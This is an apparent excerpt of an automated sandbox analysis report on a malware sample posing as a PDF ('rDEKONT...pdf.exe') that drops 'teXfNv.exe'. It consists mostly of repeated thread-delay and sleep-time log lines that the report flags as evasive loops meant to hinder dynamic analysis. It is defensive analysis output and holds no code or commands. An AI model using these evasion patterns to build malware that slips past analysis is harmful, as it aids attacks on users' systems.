Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Thread delayed: delay time: 594843 Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Thread delayed: delay time: 594734 Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Thread delayed: delay time: 594625 Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Thread delayed: delay time: 594509 Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Thread delayed: delay time: 594390 Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Thread delayed: delay time: 594278 Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Thread delayed: delay time: 594160 Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Thread delayed: delay time: 594041 Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Thread delayed: delay time: 593812 Jump to behavior
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Thread delayed: delay time: 600000
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Thread delayed: delay time: 599891
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Thread delayed: delay time: 599782
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Thread delayed: delay time: 599657
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Thread delayed: delay time: 599532
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Thread delayed: delay time: 599407
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Thread delayed: delay time: 599297
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Thread delayed: delay time: 599188
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Thread delayed: delay time: 599047
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Thread delayed: delay time: 598938
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Thread delayed: delay time: 598829
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Thread delayed: delay time: 598704
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Thread delayed: delay time: 598594
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Thread delayed: delay time: 598469
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Thread delayed: delay time: 598356
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Thread delayed: delay time: 598228
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Thread delayed: delay time: 598110
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Thread delayed: delay time: 597910
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Thread delayed: delay time: 597766
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Thread delayed: delay time: 597652
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Thread delayed: delay time: 597547
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Thread delayed: delay time: 597438
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Thread delayed: delay time: 597329
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Thread delayed: delay time: 597204
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Thread delayed: delay time: 597079
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Thread delayed: delay time: 596954
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Thread delayed: delay time: 596829
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Thread delayed: delay time: 596704
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Thread delayed: delay time: 596579
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Thread delayed: delay time: 596454
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Thread delayed: delay time: 596329
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Thread delayed: delay time: 596204
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Thread delayed: delay time: 596079
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Thread delayed: delay time: 595954
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Thread delayed: delay time: 595829
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Thread delayed: delay time: 595704
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Thread delayed: delay time: 595579
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Thread delayed: delay time: 595454
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Thread delayed: delay time: 595329
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Thread delayed: delay time: 595204
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Thread delayed: delay time: 595079
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Thread delayed: delay time: 594954
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Thread delayed: delay time: 594829
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Thread delayed: delay time: 594704
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Thread delayed: delay time: 594579
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Thread delayed: delay time: 594454
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Thread delayed: delay time: 594329
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Thread delayed: delay time: 594204
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Thread delayed: delay time: 594079
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Thread delayed: delay time: 593954
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 7264 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 2370 Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Window / User API: threadDelayed 4332 Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Window / User API: threadDelayed 5500 Jump to behavior
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Window / User API: threadDelayed 7593
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Window / User API: threadDelayed 2229
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe TID: 7348 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7720 Thread sleep time: -6456360425798339s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe TID: 7808 Thread sleep time: -35971150943733603s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe TID: 7808 Thread sleep time: -600000s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe TID: 7808 Thread sleep time: -599812s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe TID: 7808 Thread sleep time: -599686s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe TID: 7808 Thread sleep time: -599575s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe TID: 7808 Thread sleep time: -599467s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe TID: 7808 Thread sleep time: -599359s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe TID: 7808 Thread sleep time: -599250s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe TID: 7808 Thread sleep time: -599140s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe TID: 7808 Thread sleep time: -599031s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe TID: 7808 Thread sleep time: -598922s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe TID: 7808 Thread sleep time: -598812s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe TID: 7808 Thread sleep time: -598703s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe TID: 7808 Thread sleep time: -598593s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe TID: 7808 Thread sleep time: -598484s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe TID: 7808 Thread sleep time: -598363s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe TID: 7808 Thread sleep time: -598243s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe TID: 7808 Thread sleep time: -598125s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe TID: 7808 Thread sleep time: -598015s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe TID: 7808 Thread sleep time: -597906s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe TID: 7808 Thread sleep time: -597797s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe TID: 7808 Thread sleep time: -597687s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe TID: 7808 Thread sleep time: -597578s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe TID: 7808 Thread sleep time: -597468s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe TID: 7808 Thread sleep time: -597359s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe TID: 7808 Thread sleep time: -597124s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe TID: 7808 Thread sleep time: -596970s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe TID: 7808 Thread sleep time: -596844s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe TID: 7808 Thread sleep time: -596727s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe TID: 7808 Thread sleep time: -596614s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe TID: 7808 Thread sleep time: -596484s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe TID: 7808 Thread sleep time: -596375s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe TID: 7808 Thread sleep time: -596264s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe TID: 7808 Thread sleep time: -596156s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe TID: 7808 Thread sleep time: -596047s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe TID: 7808 Thread sleep time: -595937s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe TID: 7808 Thread sleep time: -595828s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe TID: 7808 Thread sleep time: -595718s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe TID: 7808 Thread sleep time: -595608s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe TID: 7808 Thread sleep time: -595500s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe TID: 7808 Thread sleep time: -595390s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe TID: 7808 Thread sleep time: -595281s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe TID: 7808 Thread sleep time: -595172s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe TID: 7808 Thread sleep time: -595062s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe TID: 7808 Thread sleep time: -594953s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe TID: 7808 Thread sleep time: -594843s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe TID: 7808 Thread sleep time: -594734s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe TID: 7808 Thread sleep time: -594625s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe TID: 7808 Thread sleep time: -594509s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe TID: 7808 Thread sleep time: -594390s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe TID: 7808 Thread sleep time: -594278s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe TID: 7808 Thread sleep time: -594160s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe TID: 7808 Thread sleep time: -594041s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe TID: 7808 Thread sleep time: -593812s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Roaming\teXfNv.exe TID: 7908 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Roaming\teXfNv.exe TID: 8080 Thread sleep time: -27670116110564310s >= -30000s
Source: C:\Users\user\AppData\Roaming\teXfNv.exe TID: 8080 Thread sleep time: -600000s >= -30000s
Source: C:\Users\user\AppData\Roaming\teXfNv.exe TID: 8080 Thread sleep time: -599891s >= -30000s
Source: C:\Users\user\AppData\Roaming\teXfNv.exe TID: 8080 Thread sleep time: -599782s >= -30000s
Source: C:\Users\user\AppData\Roaming\teXfNv.exe TID: 8080 Thread sleep time: -599657s >= -30000s
Source: C:\Users\user\AppData\Roaming\teXfNv.exe TID: 8080 Thread sleep time: -599532s >= -30000s
Source: C:\Users\user\AppData\Roaming\teXfNv.exe TID: 8080 Thread sleep time: -599407s >= -30000s
Source: C:\Users\user\AppData\Roaming\teXfNv.exe TID: 8080 Thread sleep time: -599297s >= -30000s
Source: C:\Users\user\AppData\Roaming\teXfNv.exe TID: 8080 Thread sleep time: -599188s >= -30000s
Source: C:\Users\user\AppData\Roaming\teXfNv.exe TID: 8080 Thread sleep time: -599047s >= -30000s
Source: C:\Users\user\AppData\Roaming\teXfNv.exe TID: 8080 Thread sleep time: -598938s >= -30000s
Source: C:\Users\user\AppData\Roaming\teXfNv.exe TID: 8080 Thread sleep time: -598829s >= -30000s
Source: C:\Users\user\AppData\Roaming\teXfNv.exe TID: 8080 Thread sleep time: -598704s >= -30000s
Source: C:\Users\user\AppData\Roaming\teXfNv.exe TID: 8080 Thread sleep time: -598594s >= -30000s
Source: C:\Users\user\AppData\Roaming\teXfNv.exe TID: 8080 Thread sleep time: -598469s >= -30000s
Source: C:\Users\user\AppData\Roaming\teXfNv.exe TID: 8080 Thread sleep time: -598356s >= -30000s
Source: C:\Users\user\AppData\Roaming\teXfNv.exe TID: 8080 Thread sleep time: -598228s >= -30000s
Source: C:\Users\user\AppData\Roaming\teXfNv.exe TID: 8080 Thread sleep time: -598110s >= -30000s
Source: C:\Users\user\AppData\Roaming\teXfNv.exe TID: 8080 Thread sleep time: -597910s >= -30000s
Source: C:\Users\user\AppData\Roaming\teXfNv.exe TID: 8080 Thread sleep time: -597766s >= -30000s
Source: C:\Users\user\AppData\Roaming\teXfNv.exe TID: 8080 Thread sleep time: -597652s >= -30000s
Source: C:\Users\user\AppData\Roaming\teXfNv.exe TID: 8080 Thread sleep time: -597547s >= -30000s
Source: C:\Users\user\AppData\Roaming\teXfNv.exe TID: 8080 Thread sleep time: -597438s >= -30000s
Source: C:\Users\user\AppData\Roaming\teXfNv.exe TID: 8080 Thread sleep time: -597329s >= -30000s
Source: C:\Users\user\AppData\Roaming\teXfNv.exe TID: 8080 Thread sleep time: -597204s >= -30000s
Source: C:\Users\user\AppData\Roaming\teXfNv.exe TID: 8080 Thread sleep time: -597079s >= -30000s
Source: C:\Users\user\AppData\Roaming\teXfNv.exe TID: 8080 Thread sleep time: -596954s >= -30000s
Source: C:\Users\user\AppData\Roaming\teXfNv.exe TID: 8080 Thread sleep time: -596829s >= -30000s
Source: C:\Users\user\AppData\Roaming\teXfNv.exe TID: 8080 Thread sleep time: -596704s >= -30000s
Source: C:\Users\user\AppData\Roaming\teXfNv.exe TID: 8080 Thread sleep time: -596579s >= -30000s
Source: C:\Users\user\AppData\Roaming\teXfNv.exe TID: 8080 Thread sleep time: -596454s >= -30000s
Source: C:\Users\user\AppData\Roaming\teXfNv.exe TID: 8080 Thread sleep time: -596329s >= -30000s
Source: C:\Users\user\AppData\Roaming\teXfNv.exe TID: 8080 Thread sleep time: -596204s >= -30000s
Source: C:\Users\user\AppData\Roaming\teXfNv.exe TID: 8080 Thread sleep time: -596079s >= -30000s
Source: C:\Users\user\AppData\Roaming\teXfNv.exe TID: 8080 Thread sleep time: -595954s >= -30000s
Source: C:\Users\user\AppData\Roaming\teXfNv.exe TID: 8080 Thread sleep time: -595829s >= -30000s
Source: C:\Users\user\AppData\Roaming\teXfNv.exe TID: 8080 Thread sleep time: -595704s >= -30000s
Source: C:\Users\user\AppData\Roaming\teXfNv.exe TID: 8080 Thread sleep time: -595579s >= -30000s
Source: C:\Users\user\AppData\Roaming\teXfNv.exe TID: 8080 Thread sleep time: -595454s >= -30000s
Source: C:\Users\user\AppData\Roaming\teXfNv.exe TID: 8080 Thread sleep time: -595329s >= -30000s
Source: C:\Users\user\AppData\Roaming\teXfNv.exe TID: 8080 Thread sleep time: -595204s >= -30000s
Source: C:\Users\user\AppData\Roaming\teXfNv.exe TID: 8080 Thread sleep time: -595079s >= -30000s
Source: C:\Users\user\AppData\Roaming\teXfNv.exe TID: 8080 Thread sleep time: -594954s >= -30000s
Source: C:\Users\user\AppData\Roaming\teXfNv.exe TID: 8080 Thread sleep time: -594829s >= -30000s
Source: C:\Users\user\AppData\Roaming\teXfNv.exe TID: 8080 Thread sleep time: -594704s >= -30000s
Source: C:\Users\user\AppData\Roaming\teXfNv.exe TID: 8080 Thread sleep time: -594579s >= -30000s
Source: C:\Users\user\AppData\Roaming\teXfNv.exe TID: 8080 Thread sleep time: -594454s >= -30000s
Source: C:\Users\user\AppData\Roaming\teXfNv.exe TID: 8080 Thread sleep time: -594329s >= -30000s
Source: C:\Users\user\AppData\Roaming\teXfNv.exe TID: 8080 Thread sleep time: -594204s >= -30000s
Source: C:\Users\user\AppData\Roaming\teXfNv.exe TID: 8080 Thread sleep time: -594079s >= -30000s
Source: C:\Users\user\AppData\Roaming\teXfNv.exe TID: 8080 Thread sleep time: -593954s >= -30000s
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Thread delayed: delay time: 600000 Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Thread delayed: delay time: 599812 Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Thread delayed: delay time: 599686 Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Thread delayed: delay time: 599575 Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Thread delayed: delay time: 599467 Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Thread delayed: delay time: 599359 Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Thread delayed: delay time: 599250 Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Thread delayed: delay time: 599140 Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Thread delayed: delay time: 599031 Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Thread delayed: delay time: 598922 Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Thread delayed: delay time: 598812 Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Thread delayed: delay time: 598703 Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Thread delayed: delay time: 598593 Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Thread delayed: delay time: 598484 Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Thread delayed: delay time: 598363 Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Thread delayed: delay time: 598243 Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Thread delayed: delay time: 598125 Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Thread delayed: delay time: 598015 Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Thread delayed: delay time: 597906 Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Thread delayed: delay time: 597797 Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Thread delayed: delay time: 597687 Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Thread delayed: delay time: 597578 Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Thread delayed: delay time: 597468 Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Thread delayed: delay time: 597359 Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Thread delayed: delay time: 597124 Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Thread delayed: delay time: 596970 Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Thread delayed: delay time: 596844 Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Thread delayed: delay time: 596727 Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Thread delayed: delay time: 596614 Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Thread delayed: delay time: 596484 Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Thread delayed: delay time: 596375 Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Thread delayed: delay time: 596264 Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Thread delayed: delay time: 596156 Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Thread delayed: delay time: 596047 Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Thread delayed: delay time: 595937 Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Thread delayed: delay time: 595828 Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Thread delayed: delay time: 595718 Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Thread delayed: delay time: 595608 Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Thread delayed: delay time: 595500 Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Thread delayed: delay time: 595390 Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Thread delayed: delay time: 595281 Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Thread delayed: delay time: 595172 Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Thread delayed: delay time: 595062 Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Thread delayed: delay time: 594953 Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Thread delayed: delay time: 594843 Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Thread delayed: delay time: 594734 Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Thread delayed: delay time: 594625 Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Thread delayed: delay time: 594509 Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Thread delayed: delay time: 594390 Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Thread delayed: delay time: 594278 Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Thread delayed: delay time: 594160 Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Thread delayed: delay time: 594041 Jump to behavior
Source: C:\Users\user\Desktop\rDEKONT-1_16_2025__75kb__pdf.exe Thread delayed: delay time: 593812 Jump to behavior
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Thread delayed: delay time: 600000
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Thread delayed: delay time: 599891
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Thread delayed: delay time: 599782
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Thread delayed: delay time: 599657
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Thread delayed: delay time: 599532
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Thread delayed: delay time: 599407
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Thread delayed: delay time: 599297
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Thread delayed: delay time: 599188
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Thread delayed: delay time: 599047
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Thread delayed: delay time: 598938
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Thread delayed: delay time: 598829
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Thread delayed: delay time: 598704
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Thread delayed: delay time: 598594
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Thread delayed: delay time: 598469
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Thread delayed: delay time: 598356
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Thread delayed: delay time: 598228
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Thread delayed: delay time: 598110
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Thread delayed: delay time: 597910
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Thread delayed: delay time: 597766
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Thread delayed: delay time: 597652
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Thread delayed: delay time: 597547
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Thread delayed: delay time: 597438
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Thread delayed: delay time: 597329
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Thread delayed: delay time: 597204
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Thread delayed: delay time: 597079
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Thread delayed: delay time: 596954
Source: C:\Users\user\AppData\Roaming\teXfNv.exe Thread delayed: delay time: 596829
